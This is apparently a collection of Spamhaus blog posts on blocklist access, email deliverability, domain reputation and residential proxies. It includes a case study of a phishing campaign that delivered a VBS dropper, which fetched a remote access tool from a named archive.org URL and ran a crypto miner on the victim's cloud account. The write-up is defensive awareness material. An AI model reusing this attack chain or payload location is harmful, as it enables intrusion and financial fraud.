DQS. How is the free DQS different from the free Public Mirrors? Usage transparency** – users register to access the free DQS and are provided with a key that records query volumes. Increased performance** – blocklists are updated in real time. Additional protection** – access to more blocklists, including Zero Reputation Domain Blocklist, Domain Blocklist with Hostnames, and Auth Blocklist. How to access Spamhaus Technology's free DQS Sign up for an account Verify your email address Log in to your account and access your DQS key Update your email configuration. We have config guides for mainstream MTAs. How will AWS users be prevented from querying Spamhaus’ free DNSBLs? To ensure our Terms of Use are adhered to, we will block queries from a specific IP address outside the policy. We also return an error code. In the case of querying via an open/public resolver, i.e., AWS, the error code is 127.255.255.254. If your MTA can’t correctly parse these error codes, serious issues can occur, including bouncing all emails back to their senders and your emails not being queried against the blocklists. Here’s how to properly configure your MTA to process these error codes, if you continue to use the free DNSBLs. When will the error code for AWS DNSBL users be introduced? This year, we will slowly implement the error code across AWS’ IP space, commencing from Tuesday, Oct 18th, 2022. Please don’t delay – take action now and move to the free DQS. What if I don’t want to use Spamhaus Technology's free DQS? Use DNS resolvers with attributable DNS to continue being protected by Spamhaus’s IP and domain reputation. If you no longer wish for your mail stream to be protected for free by Spamhaus’ blocklists, remove all associated configurations from your email infrastructure. Further details Additional information for free DNSBLs users having issues due to error codes is detailed here. Previous communications sent in relation to these changes can be found here: Spamhaus DNSBL return codes: technical update Using our public mirrors? Check your return codes now. Any questions? Not a problem – reach out to us via Twitter @spamhaus and we'll get back to you with a response.

Getting a Spamhaus error when using phpBB? Here’s what’s going on

The Spamhaus Team — Fri, 09 Sep 2022 16:20:14 GMT

Are you a user of the forum software, phpBB? Have you recently started getting an error from Spamhaus preventing you from posting? If so, you’re in the right place – we’ll explain what’s going on (it’s not you, it’s them!), how you can remediate with three simple clicks, and a watch out for the longer term. It’s not you; it’s phpBB If you are worried that Spamhaus has listed you and it’s preventing you from posting to phpBB, set that worry aside. Using the Spamhaus Checker, you’ll likely see you are not listed by Spamhaus – great news! For anyone who is seeing a listing and it’s on the Policy Blocklist (PBL), please keep reading. This advice still very likely applies to you. So what is causing the issue? The phpBB software itself; we believe the software is using legacy data which is causing issues. It’s likely some development work is required. Fortunately though, there’s a straightforward fix that you can carry out to get the software working again. Here’s the fix … or rather, here are the fixes – you have two options: The one-off, more technical option: Use a non-public DNS resolver for your phpBB software. How will that fix things? At a very high level, queries from an open resolver, like Cloudflare or Google DNS, are causing this error – we’ll return to this shortly. The more temporary but speedy, three clicks option: The phpBB software has been developed so you can easily turn off the queries to the Spamhaus data. Here’s how you do it: Go to the phpBB management portal. Navigate to “security settings.” Set “check IP against DNS blockhole list” to NO. Please note: (without stating the obvious) if you choose this second option IPs will no longer be checked against Spamhaus’ reputation datasets. It worked fine before – what’s changed? Let’s delve into the point of using an open resolver. Where queries are being made outside of The Spamhaus Project’s Fair Use Policy, e.g., if queries come via an open resolver, those queries are blocked. This is to protect The Project’s infrastructure – you can read more on this here. Error codes have been introduced to provide a clear signal that there is an issue for users. We suspect the phpBB software is misinterpreting these error codes, determining them as “everything is blocked” … and ultimately blocking users from posting. Can you help us to contact phpBB to implement a fix? The ultimate fix is for the phpBB software configuration to be updated to point to the FREE Spamhaus Data Query Service (DQS). This will allow queries to continue from an open resolver. So if you work for phpBB or can support us with an introduction to help get the necessary fix made, please let us know via Twitter or LinkedIn. A note to those listed on the Policy Blocklist (PBL) What we said at the beginning is still very likely to remain true – it’s not you, it’s phpBB. Your PBL listing is not at all likely to be causing you an issue with phpBB. Far more probable is the two are entirely unrelated. For more info on the PBL, click here. So please, take the remedial steps outlined above – it’s likely to land you the fix you need. A final watch out for the longer term We’re hopeful we can make contact and work with phpBB to get the necessary changes made. Once implemented, if you took the second – more temporary – fix, make sure to a) update the software and then b) set “check IP against DNS blockhole list” back to yes so you benefit from the free data once more.

Malware Digest August 2022

The Spamhaus Team — Fri, 09 Sep 2022 12:00:00 GMT

Using data from abuse.ch's platforms, the report gives an overview of malware campaigns, with insights into malware distribution sites, samples, IOCs & YARA rules.

Poor sending practices trigger a tidal wave of informational listings

The Spamhaus Team — Tue, 16 Aug 2022 09:11:54 GMT

The recent spate of informational listings from our researchers has created waves in the sending community. But perhaps more pertinently, it’s highlighted some pretty poor sending practices. Here’s further explanation, helpful hints and tools, and background to help calm the waters. What triggered this recent bout of informational listings? Three words: Poor. Sending. Practices. Our researchers are observing mail being repeatedly sent to multiple mailboxes that have NEVER accepted one single message from the sender. That’s correct. There are various household names (and lesser-known entities) out there who are failing on several fronts when it comes to best sending practices: They are not managing their bounces effectively. They are sending to recipients without opt-in, i.e., to contacts who have never given their consent to receive email. As one of our researchers reminded me at the time of writing this, "Sending email in bulk to addresses that have never given consent is spam. Even opening an email and following URLs to figure out "what is this all about" does not mean consent has been given by the recipient." There are household names out there who don’t even have a sunset policy in place... you know the one – where you send a contact an email after a specified period of no engagement saying, "Goodbye. Unless you click on the link below, you won't be hearing from us again.”. If you send bulk email, ask yourself this question and follow the flow chart (and we’re assuming you have opt-in from EVERYONE you’re sending to): But why did these poor sending practices only trigger a listing recently? If Spamhaus' detection techniques, rules, and signals didn’t change, you wouldn’t be reading this blog post because the data provided to the community would have been stale within weeks (at best), and we'd have fallen by the wayside like so many other DNSBL providers over the years. The reason we’ve been part of the industry for as long as Google (both were founded in 1998) is because our researchers are continually improving listing capabilities and detection techniques, ensuring our data can be trusted and relied upon by its users. In July, Spamhaus Technology advised via the Twittersphere that “[The [Project] research team is continually improving detections](https://twitter.com/SpamhausTech/status/1543949643834351616)... and like it or not, this isn’t going to stop, as this recent spate of Spamhaus Blocklist (SBL) informational listings will attest to. Listening to the community Continuing with the continual improvement theme... This doesn't just apply to how we handle our blocklists but to how we work with the internet community. We've listened to you and, as a result, have taken these actions: Slower introductions:** We understand this sudden blast of listings was a shock. From now on, where possible, we’ll try to ramp up these listings with a slower cadence, allowing senders to catch their breath and resolve the highlighted problems. However, these listings won’t stop. Senders need a clear signal that some of their practices are not acceptable and change needs to happen. Changes to our email notifications:** To try and alleviate the terror of an SBL notification, to quote Laura Atkins, "I love the smell of an SBL listing in the morning", we have updated them to include "Informational Listing" in both the subject and body of the email. Hopefully, this will reduce the heart rate and stop engineers across the globe from being hauled out of bed to review an SBL listing. Some tools to assist Reputation Portal ASN owners get visibility and can proactively manage their IP space via this portal, which provides a complete picture of Spamhaus listings, and the ability to quickly request removals and track submissions via a Ticket Center. Register for a free account. Deliverability 101 ebook This ebook covers everything from general deliverability know-how to identifying and resolving issues for those struggling with getting their email programs. Confused over what an SBL “informational listing” is? Once upon a Haus, our researchers always listed IPs and ranges immediately on the SBL. Subsequently, the said IPs would be blocked from sending mail to anywhere up to 70% of inboxes (ouch). “Harsh,” you may say. Well, if the research team observes a cesspit of abuse, then it’s absolutely necessary for this IP or range to be in the dogHaus (thank you Alison G for that term). But what if it's not quite as bad as a cesspit of abuse? What if our researchers are identifying poor sending practices or similar? This is where informational listings come in. They were introduced on September 22, 2016, and act a little like an early warning system… there’s trouble ahead (i.e., a full-blown – "you'll be blocked" listing) unless you sort this issue out! Informational listings don't block mail; they are there to warn of issues on the listed range or individual IP address. However, pay attention; ignore these listings at your peril. If you fail to address the highlighted concerns, you will be on the SBL proper. Because at the end of the day, if you're regularly spamming, your IP range deserves to be listed. A final word... go clean your lists before your IP gets blocked. Please? ;-)

Top 5 tips from Email Software Providers to email senders

The Spamhaus Team — Wed, 27 Jul 2022 11:38:18 GMT

In this final blog post, with contributions from the deliverability experts at Emarsys, Twilio, and Validity, the Email Software Providers (ESP) share their most valuable advice to help senders achieve consistent inbox placement. From how to take ownership of issues to re-engagement techniques. Keep reading for the good stuff… A recap of our contributors With over 50 years of deliverability experience between Kate, Kiersti, and Steve, you are not going to find a group of specialists more perfectly poised to impart sound deliverability knowledge! What follows are their most practical nuggets of advice that should help you get your email delivered consistently: 1) You need to be constantly monitoring and adjusting Achieving deliverability is a journey. And it’s not a linear one. Just because you’ve nailed it right now doesn’t mean that’ll be true in 6 months, and vice versa. It takes constant monitoring and adjusting – not least because consumer expectations, legal standards, industry standards, and email filtering effectiveness are getting tougher. Senders need to stay vigilant to keep up. So if you start encountering issues, know you aren’t the only one. But as Steve puts it, “don’t use ‘but I haven’t changed anything’ as an excuse. If nothing has changed, that could be exactly why delivery problems suddenly start appearing.” Be proactive; nurture your lists and recipients with the care you’d expect. 2) Remember you’re sending to a real person not just to an inbox “Whether you’re sending small or huge volumes of mail, a sender needs to remember that there is a person at the end of the email address” states Kiersti. That person expects: To ask for email to be sent to them To be served only relevant content that engages them To be in control of the sender/receiver relationship so they can increase/reduce frequency or opt-out altogether. You might think that giving them further information is helpful – it’s not your call to make. Give your recipients what they’ve signed up for, no more, no less. “This truly is a relationship being built, and the person behind the email address is deserving of respect” explains Kiersti. 3) Don’t surprise your recipients If an email is unexpected, it’s much more likely to end up in the spam folder. Get it right from the beginning, starting with the data capture process. Steve imparts “set clear expectations, ideally providing choices around content, and make sure the data capture processes are secured against abuse.” If you are changing your email program, changing the content slightly, or updating the frequency, communicate that to your recipients. Similarly, as Kiersti describes, “if you are changing domains, that should be advertised in advance, so mail from the new domains is expected, making it more likely to receive engagement.” So save your surprises for loved ones – and keep your email predictable. 4) Monitor against key performance indicators (KPIs) Reaching your subscribers isn’t as simple as hitting ‘send.’ Validity research found that almost 20% of emails didn’t reach the inbox last year! “Senders need to be more proactive about looking beyond surface-level metrics to know what’s really going on with their email performance. Even if 97% of your emails were delivered, these emails might have landed primarily in the spam folder,” explains Kate, who goes on to add “That’s why we recommend that senders keep a close eye on inbox placement rate—the percentage of mail that reached subscribers’ inboxes instead of being blocked or labeled as spam.” Echoing the importance of tracking, Steve says “Don’t just monitor positive metrics: monitor risk factors, negative metrics, and the likely causes of delivery issues.” So beyond open rates, click-through rates, and conversion rates, keep an eye on bounce rates, unsubscribes, and spam complaints. Steve also highlighted monitoring “the number of contacts not interacting with campaigns, because lowering the ‘ignore rate’ helps focus attention on data quality and campaign effectiveness.” 5) Suppress or remove disengaged contacts The final bit of advice: “Review when and how often inactive customers and previous purchasers return. This will help you create a meaningful re-engagement program and give you the data needed to justify suppression and removal of long-term inactive contacts.” A great tip from Steve! Final thoughts… “The ESP remains an important tool for a sender, but consent and expectation setting happens before a sender even brings that email address into an ESP” – Kiersti. Senders, you have the ultimate responsibility to deliver. So keep on top of your sign-up process, maintain your data quality, and keep the value of your content consistent. For more on sending best practices, see our eBook.

Changing Email Software Provider: the opportunities and challenges

The Spamhaus Team — Wed, 27 Jul 2022 11:37:00 GMT

In this second blog post with the deliverability experts from Emarsys, Twilio, and Validity, we share the Email Software Provider’s (ESP) perspective on the risks and opportunities associated with changing provider. Hint: reputation is not transferable. When moving to a new ESP, you must start from scratch, methodically illustrating that you’re a legitimate sender. It’s a big move that should be considered carefully. A quick recap on our contributors Between Kate, Kiersti, and Steve, there is approximately 50 years of deliverability experience. Safe to say, we’re in knowledgeable hands! They’re contributing to our Deliverability 101 series to help senders know, understand, and adopt best practices – if you’d like to find out more about our contributors read more in our previous blog post. Let’s kick things off – why would a sender want to change ESP? There are two legitimate reasons in the eyes of our experts. The most common is senders who’ve outgrown their ESP and require a more complex product. That could be a product that supports a marketing automation function instead of a batch and blast approach. “Maturing an email program in this way is encouraged,” shares Kiersti. Equally, ESPs all manage their networks differently. If a sender is using a provider, who does not meet their requirements for compliance practices, responsible IP pooling, or lack of strong problem identification and resolution-handling identification and resolution, finding a new ESP would be a sound choice. That said, if deliverability is the reason for considering a change, the experts would fervently encourage you to rethink. Changing ESP will not fix deliverability; the sender holds the ace card here (more on this in our previous blog post). So changing ESP will only prolong the issue, with a lot of hard work in between. Instead, you should rethink your sending practices. Discover sending fundamentals here. What considerations should senders be aware of when migrating to a different ESP? When you start with a new provider, you need to build your reputation from scratch. Reputation can’t be transferred. Much like in real life, you need to build your email reputation over time. Steve explains: “When a sender changes platform, they send emails from a new IP range and a new from address. The emails may look the same on the face of it, but they have a different template and structure underneath the hood. How can an email filter decide if this is genuine or attempted abuse?” You need to mitigate this challenge and enable filters to differentiate you quickly and easily from a malicious sender pretending to be you. How? Authenticate, authenticate, authenticate! “Ensure your sender domain and IP are correctly authenticated and configured,” shares Steve. Set up and test your DNS records, including Reverse DNS, SPF, DKIM, and DMARC. Without this, there is no way for an email receiver to verify that an email’s sender is who they say they are – you can read more on this here. Think big, but start small! Warm-up your IPs and domains by introducing low volume, controlled sends over time. “Start by sending small, routine amounts of emails to your most engaged subscribers. Gradually increase these numbers until you’re sending to the full list” notes Kate. “Using best data and a good email campaign to generate positive email engagement proves to the filters that you are to be trusted” adds Steve. There’s a good reason for email filters being suspicious of new senders – “Email activity on new IPs is often related to bad actors sending spam or fraud, so a new sender needs to methodically illustrate they are not a bad actor” observes Kiersti. A piece of parting advice on this topic from Kate – “Remember: Growing your email program is a marathon—not a sprint. The warmup is key.” Stick to the plan – don’t skip ahead Sounds obvious, but after the first few emails, don’t try to skip ahead – “build volume consistently; avoid spikes or sudden changes” states Steve. If your first sends achieve good deliverability, that means the plan is working, but not to the extent you can start running your email programs as you did before. Spikey email traffic looks like a spam campaign and may result in your emails getting blocked. Grow gradually and be consistent. Making the right decision But before anything, really consider your motivation for moving. If deliverability is your primary driver, first review your practices around address acquisition, database maintenance, email frequency, and content. For more tips to improve your sending practices, take a look at this eBook. Or, next up you can read the ESP’s final blog with their 5 top tips for senders to achieve email deliverability.

Who’s responsible for getting email delivered? The Email Software Provider’s perspective

The Spamhaus Team — Wed, 27 Jul 2022 11:35:16 GMT

As part of our Deliverability 101 series, we’re inviting experts from across the email-sending community to share their pearls of wisdom. For this blog post, deliverability experts from Emarsys, Twilio, and Validity, share the Email Software Provider’s (ESP) perspective on who is responsible for achieving good, consistent deliverability; is it the ESP or the sender? Spoiler – it’s both, but in very different ways… Introducing the trio Before we get cracking with the juicy stuff, let’s introduce this mighty trio who, with around 50 years of experience between them, have provided us with so much insight that we’ve had enough content to create three blog posts!Between Kate, Kiersti, and Steve, we have a fountain of knowledge; all are passionate about email marketing compliance, delivery optimization, and ensuring that senders know, understand, and adopt best practices to conserve this much-valued communication tool. So, let’s dive in! Who is responsible for achieving deliverability – the ESP or sender? “Good deliverability is a partnership between the ESP and the sender,” comments Kiersti. “The ESP has a responsibility to set the sender up for success,” shares Steve, but “It’s a sender’s job to follow established best practices to maintain a good sender reputation” – Kate. For ESPs, the focus is more on compliance and product. For senders, it’s about good data management and sharing engaging, valued content. Let’s dig a little deeper into this, kicking off with how ESPs should affect deliverability: Maintaining a clean network “Responsibility lies with the ESP to monitor the ecosystem in which you’re sending email,” explains Kate. “There needs to be active compliance monitoring to ensure bad actors are not allowed on the network or are quickly removed,” noted Kiersti. Particularly from a senders’ perspective, this is critical, because where IP space is shared, “negative (and positive) actions of others can impact your deliverability” – Kate. Network maintenance and good IP pooling are critical for effective deliverability and can only be done by the ESP. Building user-focussed tools When building the tools to enable sender success, the ESP should appreciate that “A sender will often follow the path of least resistance, so the ESP can influence the sender by making it easier to follow good practices in account setup and campaign creation,” shared Steve. He continued, “the ESP can make it easy or difficult to avoid issues, and choose how to highlight issues, their causes, and how to resolve them to help senders improve deliverability. Active maintenance of the product “Email receivers make changes all the time, so an ESP must be nimble to respond to those changes and optimize sending accordingly,” shared Kiersti. B2B receivers, for example, “are often trying to protect their networks from phishing and fraud and can be stricter with how email is sent and in what volume.” The platform must be able to adapt to maintain good sending practices that keep pace with changing audience behaviors. Sender responsibility So the ESP has a lot of influence. But ultimately, as Steve details, “it’s the sender who has collected the data, created the campaign content, selected the recipients, and hit ‘send’.” So it’s the sender who has the definitive responsibility to land their emails in a positive, engaging way. But there’s an important distinction to note here that Kiersti highlights… Email delivery vs. inbox delivery When we speak of deliverability, we must acknowledge the distinction between email delivery and inbox delivery. “When an email is delivered, it is handed off to a different network, and that network can deliver mail to the inbox, the spam folder, or just drop the mail, so it’s not received at all.” Kiersti believes that “the reputation of the ESP will generally get an email delivered to the receiving network… unless the sender is truly a bad actor”. But to achieve inbox placement, that lies with the sender. “The sender needs to maintain an engaging relationship with the recipient so that the mail is wanted and receives strong, ongoing engagement. And when engagement starts to wane, the sender needs to be able to identify that and work to re-engage, reduce or stop sending to that person altogether.” A final note to senders As you have the ultimate responsibility to achieve inbox placement, ensure your database contains only email addresses from people who explicitly consented to receive your email. Be proactive in managing your database. Be consistent in your sending practices and deliver only what is expected. Find more on this here. And pick your ESP wisely. They have a lot of influence on your deliverability, even if you hold the ace card. Make sure you look for a reputable ESP that: Monitors for compliance with quality problem identification and resolution Has sophisticated IP pooling to protect established senders with known good performance Allows for dedicated IP environments for senders if you have enough email volume Has a product suite that offers what you need to meet the maturity of your marketing organization. Provides deliverability insight, and the data and segmentation tools to act on this insight. Next up, you can read about the risks and opportunities when considering a move to a new ESP. Find it here.

Introducing Spamhaus’ Quarterly Domain Reputation Update: what’s it all about? - Spamhaus Technology

The Spamhaus Team — Tue, 19 Jul 2022 13:03:44 GMT

When it comes to domain reputation, you’ll be hard pushed to find more experienced researchers than those at Spamhaus. We wanted to harness their talents and share their expertise on the domain landscape, therefore we’ve crafted the Spamhaus Quarterly Domain Reputation Update. Let’s uncover what domain intelligence lies within… Why is it important to understand the domain reputation ecosphere? Fundamentally, no matter what you’re doing on the internet, legitimate or otherwise, you must almost always use a domain name. Without a domain name, most malicious activity wouldn’t get started, let alone be successful. It’s as simple as that. So it’s essential that we shine a light on this kind of nefarious activity to raise awareness and help make the internet a safe place. In equal measure, it’s also important to promote positive behavior and feature service providers who go above and beyond to ensure they don’t give safe refuge to bad actors. What is the researchers’ insight based on? We’ve been building threat intelligence for over 20 years. In that time, our researchers have built strong relationships with the internet community, who share connection data and support our vast sensor network. From government organizations to global industry-leading internet providers and specialized researchers and analysts. For anyone with alarm bells ringing in relation to data sharing, fear not. This data never contains any personally identifiable information (PII) but rather information regarding the activity of internet-based resources. This big data is analyzed by our researchers using machine learning, manual investigations, and heuristics to identify any badness. Malicious IPs, domains, or content are listed on the relevant dataset. Of course, for this report, it’s purely our domain data that fuels the insight. What can you find in this report? You’ll find 21 pages filled with data and commentary across the domain name ecosphere, including, but not limited to: Number of new domains observed Number of top-level domains listed Top-level domain comparisons Trending terms in new domains Trending phishing terms in domains listed Trends in abuse type – bad reputation, malware, phishing, botnet C&C Monthly breakdowns by abuse type You can find the report here. Got some feedback on how we can enrich future reports? With this being our first release, we don’t doubt that there’s more intelligence you’d like us to share in future iterations. We already have enhancements planned for Q3 (so watch this space!), but we’d love to know what you, the reader, would like to see adding. So let us know your feedback via our social channels – Twitter or LinkedIn. In the meantime, get stuck into the report and spread the word, so as a community, we start to affect positive change and influence better online behavior.

Domain Reputation Update Q2 2022

The Spamhaus Team — Tue, 19 Jul 2022 12:00:00 GMT

From the number of newly registered domains, to the domain abuse our researchers are observing, this update highlights trends, provides insights into the poor reputation of domains, and champions providers where positive improvements are seen.

Botnet Threat Update Q2 2022

The Spamhaus Team — Tue, 19 Jul 2022 12:00:00 GMT

Let's talk about the danger of residential proxy networks

Carel Bitter — Wed, 25 May 2022 13:00:20 GMT

In our experience, residential proxies are an often overlooked security threat; one that can be very difficult to remediate for the end user who -in our experience- is entirely unaware of its existence. A proxy refresh For those who aren’t familiar with the term “residential proxies,” these exist in end user networks (either landline or cell), as opposed to ones running on servers in a data center. Proxies in user land are nothing new. In days gone by, proxies used to be either open/misconfigured or installed by malware. These days, most modern residential proxies exist because the end user installed them as part of an application or toolbar, not fully understanding what they are getting. What’s hidden? To make money from their apps, some developers embed software development kits (SDKs) that create proxies. These proxies are then made available to users – at a cost. Developers bury the SDK’s End User License Agreement (EULA) deep inside the one for the app or use such vague text that it’s almost impossible for the end user to understand what they are actually agreeing to. Often end users are tempted by the promise of ad removals or another “carrot” that streamlines the user experience. These proxies are not only run on desktops, tablets, and mobile phones but also on streaming sticks/boxes, media players, and -yes- doorbells. Is it malware if you install it yourself and it doesn’t exploit anything? Once the app is installed and connected to the internet, the proxy is available to paying customers of the proxy network. Some of these proxy networks offer their users access to literally millions of IP addresses in every country and across most networks/ASNs. This illustrates how many people have unwittingly downloaded these proxies. Since this is the internet, it won’t come as any great surprise to learn that these residential proxies are an excellent platform for a variety of nefarious activities. From Spamhaus’ side, we see these platforms sending spam, which in turn can lead to unsuspecting residential users being unable to send email because their IP address has been placed on a blocklist. And that is one of the lesser of several evils! Another evil Think about it: if a device containing such a proxy connects to a corporate network, it suddenly creates a route into that network that shouldn't be there. Even more worrying, because all traffic is sent over HTTPS, it is usually allowed to flow freely. A proxy inside a private network allows both inbound internet traffic and access to internal systems. If this is misused, it could enable scanning, lateral movement, and other malicious activity. What's more, many network devices have poorly secured administrative interfaces, intended to be accessed only from within the network. A proxy could enable external access to those interfaces, potentially exposing security vulnerabilities. In December 2025, we observed the first documented case of a proxy being used this way, when a new botnet Kimwolf infected more than two million Android TV streaming devices, by leveraging residential proxy software. This latest development challenges proxy providers’ claims that they “cannot access internal resources” and raises new questions about how safe these proxies really are. Is this the start of a broader trend? There’s no such thing as a free lunch For the moment, perhaps the biggest lesson to learn is that when you see software promising something for free, it is usually charging you in some other currency, such as your internet access or your privacy! Updated: February 3rd 2026

Get the basics right, and inbox placement will follow - Change.org’s deliverability story

Alice Cornell — Fri, 13 May 2022 13:26:27 GMT

As part of our Deliverability 101 series, we’re inviting experts from across the industry to share their email sending wisdom, starting with the highly respected Alice Cornell. Alice is the Director of Email Deliverability at Change.org, and she’s sharing her experiences, explaining how change.org achieved consistent inbox placement once they got the basics nailed! The art of deliverability is all about reaching your customer/user inbox by only sending email to people who want it, when they want to receive it and only sending email they want. In theory, this is a neat definition, but it can be a lot more complicated in practice. Change.org is a great example of how challenging that little sentence can be to implement. With nearly half a billion users spanning all 196 countries and as an open platform whose mission is to empower everyone everywhere to make the change they want to see, making sure we reach the right people with the right message at the right time is definitely an art as well as a science. Getting the basics right is absolutely essential. When I started at Change.org nearly nine years ago, our email program was a very different animal. As I began to get to know its lists and metrics and tackle immediate deliverability issues, I couldn’t understand why some of our metrics seemed out of kilter when we were sharing campaigns with folks that clearly cared about them and were keen to take action. Through detective work (and believe me, deliverability skills involve a lot of detective work), I discovered that when people tried to unsubscribe, we sent them to a broken landing page. Because there was no way to confirm that Change.org had unsubscribed them, users began marking the email as spam in an effort to be removed from our list. Simply fixing the unsubscription landing page reduced user complaints and increased successful inbox placement. This is a perfect illustration of what it looks like to “get the basics right”. Unsubscribes do not damage deliverability. In fact, a higher than usual unsubscribe rate can be a useful indicator that there is something you, as a sender, need to be doing better. Meanwhile, the folks hitting the ‘this is spam’ button (aka spam complaints) are the clearest indicator to mailbox providers (like Gmail or Yahoo) that your mail is unwanted and belongs in the spam folder. Most email professionals know what basic deliverability best practices for avoiding the spam folder are (if you’re unsure, you can read this excellent Spamhaus blog). Still, they also know it is not always as easy as it might seem to actually implement them. A struggle that we often come up against is persuading other parts of the organisation about how important data quality is. Good data is the cornerstone of any email program, but it’s easy for people to assume more is better. Actually, keeping your data clean and current is essential for good deliverability. A few years ago, a listing on the Spamhaus Blocklist (SBL) quickly focused Change.org’s attention on this very issue. The company had to move quickly to make some impactful changes. This meant being clear on what these changes would mean for the business. What helped with the escalation internally was Remembering that our lists are made up of real people, not just email addresses Explaining the abuse landscape – bad actors are constantly trying to take advantage of areas of weakness, whatever your business Emphasizing that we had to fix the root of the problem if we wanted to stop the issue from reoccurring and worsening; quick fixes would not be sufficient Business and security have to find a balance. If the business cannot operate securely, it is time to question the operating model Maintaining the commitment to empowering our users and our responsibility to protect them and keep Change.org a safe space Change.org has come a long way from those early days of high inbox user complaints. The company has really tightened up data hygiene as a critical element of improving our sender reputation. We now have many different layers of security to prevent bad actors from impersonating users while continuing to wage the constant battle as spammers persist in trying to find new ways of abusing organizations across the world. And sender reputation really matters. For Change.org, agile campaigning is essential as our users respond to real world events. The war in Ukraine has had our team rapidly mobilizing to support the massive numbers of people coming to the site. This can lead to unpredictable send volumes – a red flag for many mailbox providers. Back in the first week of the conflict, our UK team also received the fantastic news that Nazanin Zaghari-Ratcliffe was due to be released from prison in Iran. We knew that her supporters would want to hear this right away and our already increased email volume was suddenly about to be doubled that week. However, deliverability remained steady due to the strong trust we have built with mailbox providers by implementing solid best practices. No matter what your brand’s business, a stable sender reputation is essential if mailbox providers are to trust your engagement programs and deliver the inbox experience your customers or users deserve by focusing on the basics: Remembering that real users make up your lists Fixing the root cause of the problem of spam and other inbox complaints Finding the right balance between efficient business operations and keeping users and customers safe Those senders will be well-positioned to win the never-ending fight against email abuse and spammers. It’s the only way to keep brand communications out of the spam folder and into the users’ inboxes who want to hear from the brands they love the most.

The holiday hack – a reminder of why you shouldn’t always trust emails

The Spamhaus Team — Thu, 28 Apr 2022 12:27:15 GMT

Here’s a cautionary tale to anyone and everyone who uses email. The learning is simple: Always be vigilant, especially if the contents of an email ask to provide personal information or click on links and download files. It started with a database breach As the pandemic is becoming endemic, many countries have created dedicated registration programs to facilitate tourism. One example is Thailand’s Thailand Pass. Travelers must upload Covid test results and their vaccination status to help border security manage entry into Thailand. Unfortunately, this database of travelers got hacked recently, as detailed here. Many tourists got caught in the malspam campaign that kicked off after the breach. The Spamhaus researchers had the chance to analyze an infected machine of one such victim. Here is what they found: Seemingly legitimate emails Let’s call our unlucky tourist Mr X (original, we know!). Mr X’s flight was due to leave for Bangkok on the 22-Feb-22. Being an organized sort, he had already completed the required steps to get his Thailand Pass and was ready for his trip. But on 17-Feb-22, he received the following two emails: You will note that the sender domains are passthailandteam.com and teampassthailand.com. These domains are definitely not related to the Thai government. However, if you don’t spend 24/7 looking for malicious emails, it’s understandable that they could easily be deemed legitimate. With a little research, one can establish that these domains were registered on 15-Feb-22 and 16-Feb-22, respectively, just days before the miscreants used them to send email. In our world, this usually raises a giant red flag – how often do you register a domain and immediately use it? The answer is almost never! Back to Mr X, who was due to fly five days after receiving the above two communications – these emails panicked him. Who wouldn’t be unnerved? Here he was busy picturing himself landing in Bangkok, making his way to the beach and drinking a Singha beer, watching the world go by, only to suddenly think he may not be allowed even to enter the country. Diligently Mr X followed the instructions in the email, providing his full name, date of birth, and the last four digits of his passport number. The reason for requesting these details? We can’t be sure, but we strongly suspect it’s related to identity theft. Meanwhile, the link in the second email led to a website where a ZIP called “qr\_thailand\_pass.zip” was downloaded. Once opened, the ZIP contained a seemingly innocuous HTML file that, when opened, showed the following webpage: Once Mr X clicked “Download Document”, a VBS file called “status\_report.vbs” was downloaded. In reality, the file wasn’t “downloaded”; instead, the HTML page contained some javascript code that mimicked a download. When double-clicked, the VBS file shows the following rather innocuous popup: However, in the background, the VBS file downloaded and executed a Remote Administration Tool (or RAT) from https://archive.org/download/auto\_20220216/auto.txt. What’s interesting to note is that the miscreants hosted their malicious payload on “archive.org”. This is a very well-known website with a good reputation. In doing this, the cybercriminals were most likely trying to evade security software blocking websites with poor reputation. What’s that credit card charge for? Without giving these emails another thought, Mr X happily went on his trip. While in Thailand, on 02-Mar-22, he received a notification from Google Cloud Platform (GCP) with a charge of €93. Since he had some services with Google, he dismissed the notification as one of the usual recurring charges and continued to enjoy his vacation. March passed, and Mr X received a notification from GCP that its charges for the past month were almost €1600! Suddenly alarm bells were ringing, so he contacted the Spamhaus researchers to investigate further. The team uncovered that the crooks had created an exceptionally “CPU-hungry” Google Compute Engine (GCE) instance that had been grinding away for the whole of March and into April until they shut it down. Upon reviewing the platform logs, they established that the instance was created on 18-Feb-22, only a few hours after Mr X downloaded and executed the infected file on his computer. Before deleting the GCE instance, the Spamhaus researchers accessed it and found a Monero coin miner running, in addition to a RAT. This explained the huge charges – GCE bills are based on CPU usage, and mining cryptocurrency is a highly intensive process when it comes to CPUs. “Whoah, surely Mr X has multi-factor authentication (MFA) on his Google account?” you may be asking. “How did the miscreants manage to create the GCE instance?” The answer is that both activities logged on 18/Feb/22 and 19/Feb/22 coincided with Mr X having his computer powered on. The hackers used the previously installed RAT to take control of Mr X’s machine, and since his browser was already logged in to his Google account, they didn’t need MFA to create the GCE instance. What was the outcome for Mr X of this holiday hack? Fortunately for Mr X, the credit card company reimbursed the fraudulent expenses. However, he also had to have his compromised passport cancelled and a new one reissued… Mr X is an Italian resident. To anyone who has had the misfortune to deal with Italian bureaucracy, you will sympathize with Mr X, understanding what an arduous and painful process this was! What can you learn from Mr X’s misadventure? Always check emails** When an official-looking email reaches your inbox, look for spelling mistakes. Reputable organizations don’t make them! Carefully review the sender domain. If it’s not the one you have had interactions with previously, be suspicious. Do not ever, EVER, run VBS scripts** Beware of URL/link shorteners**, e.g. “bitly”. They are often used to hide malicious websites. Always check billing notifications carefully** – even if you are busy or on holiday. If you are compromised keep detailed records** – When issuing a formal complaint to a credit card company, be sure to have a clear timeline of the events and provide as much information as possible. Keep safe (not only on your travels) – it doesn’t take huge technical knowledge to follow the above points, and it could save you a significant amount of time, money, and stress that goes with falling victim to malicious internet behavior.

Botnet Threat Update Q1 2022

The Spamhaus Team — Wed, 20 Apr 2022 12:00:00 GMT

It might've been a modest increase in new botnet C&Cs this quarter, but the offering of freebie services are attracting a load of badness and the LatAm region continues to struggle with abuse. Get all the latest insights in this quarter's report.

Can you .bank on this registry for security?

fTLD — Wed, 23 Mar 2022 08:48:23 GMT

